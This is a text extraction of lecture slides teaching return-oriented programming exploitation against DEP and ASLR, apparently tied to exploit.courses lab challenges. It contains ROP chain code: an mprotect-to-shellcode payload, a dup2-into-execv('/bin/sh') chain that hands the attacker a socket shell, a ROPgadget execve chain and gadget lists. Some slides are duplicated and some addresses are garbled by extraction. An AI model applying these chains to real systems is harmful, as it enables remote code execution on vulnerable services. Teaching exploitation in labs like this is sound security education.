





Return Oriented Programming

ROP



Exploiting: Memory Layout




Exploiting: DEP - ROP

DEP does not allow execution of uploaded code

But what about **existing code**?

ROP: smartly put together existing code

Exploiting: DEP - Memory Layout



ROP In One Slide

ROP Preview


0x200: syscall;

0x201: ret

0x100: pop eax;

0x101: pop ebx;

0x102: ret



Practical ROP: Calling a syscall

```
# dup2() syscall is 33
# Start ROP chain
# dup2(4, 0)
payload += p64 (pop rax)
payload += p64 (33)
payload += p64 ( pop_rdi )
payload += p64 (4)
payload += p64 ( pop rsi r15)
payload += p64 (0)
payload += p64 ( 0xdeadbeef1 )
payload += p64 ( syscall )
```

ROP
Gadgets

Exploiting DEP - ROP

What is ROP?

Smartly chain gadgets together to execute arbitrary code

Gadgets:

Some sequence of code, followed by a RET

So, what is are gadgets?

Code sequence followed by a "ret"

```
pop r15 ; ret
add byte ptr [rcx], al ; ret
dec ecx ; ret
```

```
add byte ptr [rax], al ; add bl, dh ; ret
add byte ptr [rax], al; add byte ptr [rax], al; ret
add byte ptr [rax], al ; add cl, cl ; ret
add byte ptr [rax], al; add rsp, 8; ret
add byte ptr [rax], al; jmp 0x400839
add byte ptr [rax], al ; leave ; ret
add byte ptr [rax], al ; pop rbp ; ret
add byte ptr [rax], al; ret
add byte ptr [rcx], al; ret
add cl, cl; ret
add eax, 0x20087e; add ebx, esi; ret
add eax, 0xb8; add cl, cl; ret
add ebx, esi; ret
```

How to find gadgets?

- Search in code section for byte 0xc3 (=ret)
- Go backwards, and decode each byte
- For each byte:
 - Check if it is a valid x32 instruction
 - If yes: add gadget, and continue
 - If no: continue

80 00 51 02 80 31 60 00 0e 05 **c3** 20 07 dd da 23

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80 00 51 02 80 31 60 00 **0e 05 c3** 20 07 dd da 23

There will be gadgets which were not created by the compiler

- x86 instructions are not static size
- 1-15bytes
 - Unlike RISC (usually 4 byte size)
- Start parsing at the "wrong offset"

ROP Preview


0x200: syscall;

0x201: ret


0x100: pop eax;


0x101: pop ebx;

0x102: ret



handleData() Stack:







•••
0x1111111
0x101
&system()@plt
0x200
0x02
0x01
0x100

Overflow Data


Original Stack








0x100: pop eax;
0x101: pop ebx;
0x102: ret



Stack after Overflow

0x100: pop eax;
0x101: pop ebx;


0x102: ret



0x100: pop eax;

0x101: pop ebx;

0x102: ret




Stack after Overflow

0x100: pop eax;
0x101: pop ebx;
0x102: ret

0x200: syscall;

0x201: ret



Stack after Overflow

```
0x100: pop eax;
0x101: pop ebx;
0x102: ret
```

0x200: syscall;

0x201: ret

Can we also call functions with ROP?

Yes, but we need to take a bit care.

someVar someVar

before call: add()

someVar

someVar

0x01 (argument 1)

0x02 (argument 2)

before call: add()
Push arguments for function

Remember: Calling a function will push the address of the next instruction on the stack

someVar
someVar
0x01 (argument 1)
0x02 (argument 2)

&parent / SIP

after call: add()

someVar

someVar

0x01 (argument 1)

0x02 (argument 2)

&parent

SFP

localVar

localVar


after call: add() and add() function epilogue

Conclusion: We need to clean up the stack (arguments) after calling a function with ROP

Normal Function Call

someVar someVar 0x01 (argument 1) 0x02 (argument 2) &parent SFP localVar localVar

ROP Function Call





SIP points to main() initially

SIP (&<mov@main>)

SFP

isAdmin

firstname

Previous Function Stack Frame

(handleData() doesn't/can't know)

Regular *handleData*()
Stack Frame

0x22
0x11
SIP (&<>
SIP (& <add2>)</add2>
0x02
0x01
&pop/pop/ret
SIP (& <add>)</add>
SFP
isAdmin
firstname

The Data we wrote via overflow (red)

0x22

0x11

SIP (&<...>

SIP (&<add2>)

0x02

0x01

&pop/pop/ret

SIP (&<add>)


SFP

isAdmin

firstname


add2 Stuff

add Stuff



add2 Stuff


add Stuff







<add>:

mov 0x8(%esp),%eax add 0x4(%esp),%eaxret











Stack Cleanup helper

<add>:


mov 0x8(%esp),%eax add 0x4(%esp),%eax**re**t






<add>:

mov 0x8(%esp),%eax add 0x4(%esp),%eaxret





<add2>:

mov 0x8(%esp),%eax add 0x4(%esp),%eaxret

0x22 **ESP EIP** 0x11 SIP (&<...> <0xaabb>: SIP (&<add2>) 0x02 pop eax 0x01 pop ebp &pop/pop/ret ret SIP (&<add>) SFP <add2>: isAdmin 0x8(%esp),%eax mov 0x4(%esp),%eaxret add firstname

0x22 **ESP** 0x11 SIP (&<...> SIP (&<add2>) 0x02 0x01 &pop/pop/ret SIP (&<add>) SFP isAdmin firstname


EIP


<0xaabb>:


pop eax pop ebp ret

<add2>:


mov 0x8(%esp),%eax add 0x4(%esp),%eaxret







Writes go up



call/ret's can be chained!

Arbitrary code execution with not code uploaded

"Shellcode" consists of:

- Addresses of gadgets
- Arguments for gadgets (addresses, or immediates)
- NOT: assembler instructions

ROP Tools

Exploiting DEP: ROP Gadgets

ROPgadget

```
0x00000000000440608 : mov dword ptr [rdx], ecx ; ret
0x000000000004598b7 : mov eax, dword ptr [rax + 0xc] ; ret
0x00000000000431544 : mov eax, dword ptr [rax + 4] ; ret
0x0000000000045a295 : mov eax, dword ptr [rax + 8] ; ret
0x000000000004a3788 : mov eax, dword ptr [rax + rdi*8] ; ret
0x00000000000493dec : mov eax, dword ptr [rdx + 8] ; ret
0x000000000004a36f7 : mov eax, dword ptr [rdx + rax*8] ; ret
0x00000000000493dc8 : mov eax, dword ptr [rsi + 8] ; ret
0x0000000000043fbeb : mov eax, ebp ; pop rbp ; ret
0x000000000004220fa : mov eax, ebx ; pop rbx ; ret
0x00000000000495b90 : mov eax, ecx ; pop rbx ; ret
0x00000000000482498 : mov eax, edi ; pop rbx_; ret
0x00000000000437cll : mov eax, edi ; ret
0x0000000000042cfal : mov eax, edx ; pop rbx ; ret
0x0000000000047d484 : mov eax, edx ; ret
0x0000000000043de7e : mov ebp, esi ; jmp rax
0x00000000000499461 : mov ecx, esp ; jmp rax
0x000000000004324fb : mov edi, dword ptr [rbp] ; call rbx
0x00000000000443f34 : mov edi, dword ptr [rdi + 0x30] ; call rax
0x000000000004607e2 : mov edi, dword ptr [rdi] ; call rsi
0x0000000000045c7le : mov edi, ebp ; call rax
0x00000000000491e33 : mov edi, ebp ; call rdx
0x000000000004a7a2d : mov edi, ebp ; nop ; call rax
0x0000000000045c4c1 : mov edi, ebx ; call rax
```

ROPgadget

ROPgadget.py --ropchain

ROP chain generation Step 1 -- Write-what-where gadgets [+] Gadget found: 0x806f702 mov dword ptr [edx], ecx ; ret [+] Gadget found: 0x8056c2c pop edx ; ret [+] Gadget found: 0x8056c56 pop ecx ; pop ebx ; ret [-] Can't find the 'xor ecx, ecx' gadget. Try with another 'mov [r], r' [+] Gadget found: 0x808fe0d mov dword ptr [edx], eax ; ret [+] Gadget found: 0x8056c2c pop edx ; ret [+] Gadget found: 0x80c5126 pop eax ; ret [+] Gadget found: 0x80488b2 xor eax, eax; ret Step 2 -- Init syscall number gadgets [+] Gadget found: 0x80488b2 xor eax, eax; ret [+] Gadget found: 0x807030c inc eax ; ret Step 3 -- Init syscall arguments gadgets [+] Gadget found: 0x80481dd pop ebx ; ret [+] Gadget found: 0x8056c56 pop ecx; pop ebx; ret [+] Gadget found: 0x8056c2c pop edx ; ret Step 4 -- Syscall gadget [+] Gadget found: 0x804936d int 0x80 Step 5 -- Build the ROP chain #!/usr/bin/env python2 # execve generated by ROPgadget v5.2 from struct import pack # Padding goes here D = '' p += pack('<I', 0x08056c2c) # pop edx ; ret p += pack('<I', 0x080f4060) # @ .data p += pack('<I', 0x080c5126) # pop eax ; ret p += '/bin' p += pack('<I', 0x0808fe0d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x08056c2c) # pop edx ; ret p += pack('<I', 0x080f4064) # @ .data + 4 p += pack('<I', 0x080c5126) # pop eax ; ret p += '//sh'

Stack Pivot

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Stack Pivoting

What if ESP does not point to our rop chain?

- Can only execute one gadget
- Use it to let the stack point to another memory location

If a register points to our ropchain:

```
xchg eax, esp
```

If its somewhere else on the stack:

```
add esp, 0x100
```

Or, in general:

```
mov esp, 0x12345 pop esp
```

Where to take gadgets from?

- Either:
 - The program code
 - Shared library code (LIBC etc.)

Where to take gadgets from?

- Either:
 - The program code
 - Static location in memory (if not PIE)
 - Needs to be of some size to have enough gadgets
 - Shared library code (LIBC etc.)
 - "Universal gadget library", because its very big
 - Sadly, non-guessable base location (ASLR'd even without PIE)

ROP shellcode usually consists of:

- Libc calls
 - malloc() / mprotect()
- Preparations of libc calls
 - set up registers
 - read data to defeat ASLR
- Skipping of shellcode arguments (pop/pop/ret)
- And even "plain ASM" (e.g. jmp)

ROP is very inefficient

Needs a lot of gadgets

Not suitable to implement complete shellcode in it

Hello: Multi Stage Shellcode

Stager: Change permission

Set Stack executable

Execute it (jmp)

Profit

Stager: Allocator

Allocate new RWX memory

Copy rest of shellcode to newly allocated memory

Execute it (jmp)

Profit

Stage 0: ROP

Allocate rwx Memory

Stage 1: ROP

Copy minimal shellcode to memory Jump to it

Stage 2: Shellcode

Copy rest of the shellcode (meterpreter)
Jump to it

Practical ROP: mprotect() + Shellcode

mprotect() ROP into shellcode

- Defeats: DEP
 - (can also defeat DEP+ASLR with some more ROP gadgetery)
- Get necessary gadgets
- Get address of shellcode
- SIP = ROPchain
- ROP is doing:
 - mprotect(&shellcode, len(shellcode), rwx)
- After ROPchain, jump to shellcode
- Challenge: 16, https://exploit.courses/#/challenge/16
 - DEP enabled
 - ASLR disabled (can use LIBC gadgets)

mprotect() ROP into shellcode

- Defeats: DEP
 - (can also defeat DEP+ASLR with some more ROP gadgetery)
 - This example is DEP only (no ASLR!)
- Get necessary gadgets
- Get address of shellcode
- SIP = ROPchain
- ROP is doing:
 - mprotect(&shellcode, len(shellcode), rwx)
- After ROPchain, jump to shellcode
- Challenge: 16, https://exploit.courses/#/challenge/16
 - DEP enabled
 - ASLR disabled (can use LIBC gadgets)

mprotect() ROP into shellcode 1/2

```
# shellcode
payload = shellcode
payload += "A" * (offset - len(shellcode))
# rop starts here (SIP)
# 0x000000000003a718: pop rax; ret;
payload += p64 ( libcBase + 0x00000000003a718 ) # <- SIP
payload += p64 ( 10 ) # syscall sys mprotect
# 0x000000000001102: pop rdi; ret;
payload += p64 ( libcBase + 0x0000000000021102 )
payload += p64 ( stackAddr ) # mprotect arg: addr
```

mprotect() ROP into shellcode 2/2

```
# 0x00000000000202e8: pop rsi; ret;
payload += p64 ( libcBase + 0x0000000000202e8 )
payload += p64 ( 4096 )  # mprotect arg: size

# 0x0000000000001b92: pop rdx; ret;
payload += p64 ( libcBase + 0x000000000001b92)
payload += p64 ( 0x7 )  # protect arg: permissions

# 0x0000000000bb945: syscall; ret;
payload += p64 ( libcBase + 0x0000000000bb945)

payload += p64 ( shellcodeAddr )
```

Practical ROP: dup2() into execv() with LIBC

dup2() into execv() with LIBC

- Defeats: DEP + ASLR
 - (Not: DEP+ASLR + PIE)
- Get necessary gadgets
- Get Address of "/bin/sh" in LIBC (or in this case, the program)
- dup() client network socket into 0, 1 and 2
- execv() "/bin/sh"
- Challenge: 17
 - https://exploit.courses/#/challenge/17
 - DEP enabled
 - ASLR enabled

Socket:

- Is always 4 (find via debugging)
- (0, 1, 2 are used. 3 is used for server socket. Therefore next free socket is 4)

The string "/bin/sh" exists therefore in the libc itself

```
# additional gadget to populate rsi
syscall = 33 # Note: dup2() syscall is 33
# Start ROP chain
# dup2(4, 0)
payload += p64 ( pop_rax )
payload += p64 ( 33 )
payload += p64 ( pop rdi )
payload += p64 (4)
payload += p64 ( pop rsi r15)
payload += p64 (0)
payload += p64 ( 0xdeadbeef1 )
payload += p64 ( syscall )
```

```
# dup2(4, 1)
                                         # dup2(4, 2)
payload += p64 (pop rax)
                                         payload += p64 (pop rax)
payload += p64 (33)
                                         payload += p64 (33)
payload += p64 ( pop rdi )
                                         payload += p64 ( pop rdi )
payload += p64 (4)
                                         payload += p64 (4)
payload += p64 ( pop_rsi_r15)
                                         payload += p64 ( pop rsi r15)
                                         payload += p64 (2)
payload += p64 (1)
payload += p64 ( 0xdeadbeef2 )
                                         payload += p64 ( 0xdeadbeef3 )
payload += p64 ( syscall )
                                         payload += p64 ( syscall )
```

What if the string "/bin/sh" does not exist in memory? "Write-what-where" ROP, easy example:

```
# value to write
pop rax; ret

# memory location where we want to write the value
pop rdx; ret

# write rax at memory location indicated by rdx
mov ptr [rdx], rax; ret
```

```
# Practical write-what-where example
# 0x00000000004009a0: pop rbp; ret;
# 0x0000000000400c91: pop rax; ret;
# 0x000000000400c8e: mov dword ptr [rbp - 8], eax; pop rax; ret;
def write2mem(data, location, chain):
       chain += p64 ( pop rax )
       chain += p64 ( data )
       chain += p64( pop rbp )
       chain += p64 ( location + 8)
       chain += p64( mov ptr rbp eax)
       chain += p64( 0xdeadbeef1 )
```

Where to write?

 0×00602000

Every binary has a read-write memory location at a static offset


 0×00603000


gdb-peda\$ vmmap			
Start	End	Perm	Name
0x00400000	0x00402000	r-xp	challenge17
0x00601000	0x00602000	rp	challenge17

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rw-p

challenge17





Insomnihack 2017 Teaser

Insomnihack Teaser


Insomnihack: Security Conference in Geneva

Pwn

- Got a Teaser CTF (Capture the Flag)
- Baby challenge:
 - Forking Server
 - 64 bit
 - ASLR
 - PIE

baby

Stack Canary



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ROP: Conclusion

ROP: Conclusion

Ret2libc / ret2got / ret2plt

Is "only" able to execute arbitrary library functions

ROP

- Can execute arbitrary code by re-using existing code from program or shared libraries
- Can by itself defeat ASLR+ DEP
- Can defeat ASLR+DEP+PIE with information disclosure

Find gadgets in:

- Program itself (if big enough, .text)
- LIBC (if not ASLR)
- LIBC (by using gadgets from .text to leak LIBC ptr via GOT)